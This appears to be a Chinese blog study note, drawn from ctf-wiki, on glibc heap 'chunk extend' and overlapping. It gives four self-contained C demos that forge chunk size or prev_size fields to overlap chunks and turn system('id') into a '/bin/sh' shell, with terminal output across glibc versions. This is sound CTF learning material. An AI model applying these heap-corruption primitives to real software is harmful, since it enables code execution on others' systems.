Chunk Extend 漏洞举例

TOC

  1. 1. 前言
  2. 2. 利用

资料来源:ctf-wiki。这里仅是小记一下。

前言

在了解下面这些漏洞前,我们需要先回顾一下malloc_chunk的数据结构:

/*
This struct declaration is misleading (but accurate and necessary).
It declares a "view" into memory allowing access to necessary
fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

每个字段的具体的解释如下

一个已经分配的 chunk 的样子如下。我们称前两个字段称为 chunk header,后面的部分称为 user data。每次 malloc 申请得到的内存指针,其实指向 user data 的起始处。

当一个 chunk 处于使用状态时,它的下一个 chunk 的 prev_size 域无效,所以下一个 chunk 的该部分也可以被当前 chunk 使用。这就是 chunk 中的空间复用。

来源:ctf-wiki

利用

fastbin的malloc_chunk->size 可控

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char *payload = "aaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaa"
"/bin/sh";

int main()
{
char *ptr, *ptr1;
char *sh;

ptr = malloc(0x10); //分配第一个0x10的chunk
sh = malloc(0x10); //分配第二个0x10的chunk
strncpy(sh, "id", 0x10 - 1);

// 这里是无法溢出的
strncpy(ptr, payload, 0x10 - 1);

*(long long *)((long long)ptr - 0x8) = 0x41; // 修改第一个块的size域

free(ptr);

// 即使指针置NULL也对该漏洞没有影响
ptr = NULL;

ptr1 = malloc(0x30); // 实现 extend,控制了第二个块的内容

// 这里可以溢出
strncpy(ptr1, payload, 0x30 - 1);

system(sh);
return 0;
}

从上面可以看出这个漏洞不需要依赖UAF就可以完成,这个漏洞无论是fastbin还是tcache都会发生。

smallbin的malloc_chunk->size 可控

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char *payload = "aaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaa"
"/bin/sh";

int main()
{
char *ptr, *ptr1;
char *sh;

ptr = malloc(0x80); //分配第一个 0x80 的chunk1
sh = malloc(0x10); //分配第二个 0x10 的chunk2
malloc(0x10); //防止与top chunk合并

strncpy(sh, "id", 0x10 - 1);
// 这里是无法溢出的
strncpy(ptr, payload, 0x80 - 1);

*(int *)(ptr - 0x8) = 0xb1;
free(ptr);
// 即使指针置NULL也对该漏洞没有影响
ptr = NULL;

ptr1 = malloc(0x80 + 0x20);

// 这里可以溢出
strncpy(ptr1, payload, 0x80 + 0x20 - 1);

system(sh);
return 0;
}

从上面可以看出这个漏洞不需要依赖UAF就可以完成,这个漏洞同样无论是smallbin还是tcache都会发生。

对 free 的 smallbin 进行 extend

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char *payload = "aaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaa"
"/bin/sh";

int main()
{
char *ptr, *ptr1;
char *sh;

ptr = malloc(0x80); //分配第一个0x80的chunk1
sh = malloc(0x10); //分配第二个0x10的chunk2

strncpy(sh, "id", 0x10 - 1);

// 这里是无法溢出的
strncpy(ptr, payload, 0x80 - 1);

free(ptr); //首先进行释放,使得chunk1进入unsorted bin

*(int *)(ptr - 0x8) = 0xb1;
ptr1 = malloc(0xa0);

// 这里可以溢出
strncpy(ptr1, payload, 0x80 + 0x20 - 1);

system(sh);

return 0;
}

具体结果如下:

ex@ubuntu:~/test$ make 19
gcc -Wl,-dynamic-linker /home/ex/glibc/glibc-2.19/_debug/lib/ld-linux-x86-64.so.2 -g main.c
ex@ubuntu:~/test$ ./a.out
$ echo hello world
hello world
$ exit
ex@ubuntu:~/test$ make 27
gcc -Wl,-dynamic-linker /home/ex/glibc/glibc-2.27/_debug/lib/ld-linux-x86-64.so.2 -g main.c
ex@ubuntu:~/test$ ./a.out
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

glibc-2.26及以上不行的主要原因是tcache的索引机制,具体原理可以自行debug,只有没有tcache,这个漏洞还是可用的。

通过 extend 前向 overlapping

前向 extend 利用了 smallbin 的 unlink 机制,通过修改 pre_size 域可以跨越多个 chunk 进行合并实现 overlapping。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char *payload = "aaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaa"
"/bin/sh";

int main()
{
char *ptr1, *ptr2_sh, *ptr3, *ptr4, *ptr5;
ptr1 = malloc(0x80); //smallbin1
ptr2_sh = malloc(0x10); //fastbin1
ptr3 = malloc(0x10); //fastbin2
ptr4 = malloc(0x80); //smallbin2
malloc(0x10); //防止与top合并

strncpy(ptr2_sh, "id", 0x10 - 1);

free(ptr1);
*(int *)(ptr4 - 0x8) -= 0x1; //0x90; //修改pre_inuse域
// 0x90 + 0x20 + 0x20 = 0xd0
*(int *)(ptr4 - 0x10) = 0xd0; //修改pre_size域
free(ptr4); //unlink进行前向extend

// 可以不依赖 UAF
ptr4 = NULL;

ptr5 = malloc(0x150); //占位块

strncpy(ptr5, payload, 0x150 - 1);

system(ptr2_sh);
return 0;
}

效果如下:

ex@ubuntu:~/test$ make 19
gcc -Wl,-dynamic-linker /home/ex/glibc/glibc-2.19/_debug/lib/ld-linux-x86-64.so.2 -g main.c
ex@ubuntu:~/test$ ./a.out
$ exit
ex@ubuntu:~/test$ make 27
gcc -Wl,-dynamic-linker /home/ex/glibc/glibc-2.27/_debug/lib/ld-linux-x86-64.so.2 -g main.c
ex@ubuntu:~/test$ ./a.out
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

这里我简述一下unlink:

其目的是把一个双向链表中的空闲块拿出来(例如 free 时和目前物理相邻的 free chunk 进行合并)。

当我们 free(small_chunk) 时

glibc-2.26及以上这个漏洞不能实现的原因还是因为tcache机制,因为tcache为了速度考虑,所以不进行unlink操作。

总结

实践出真知。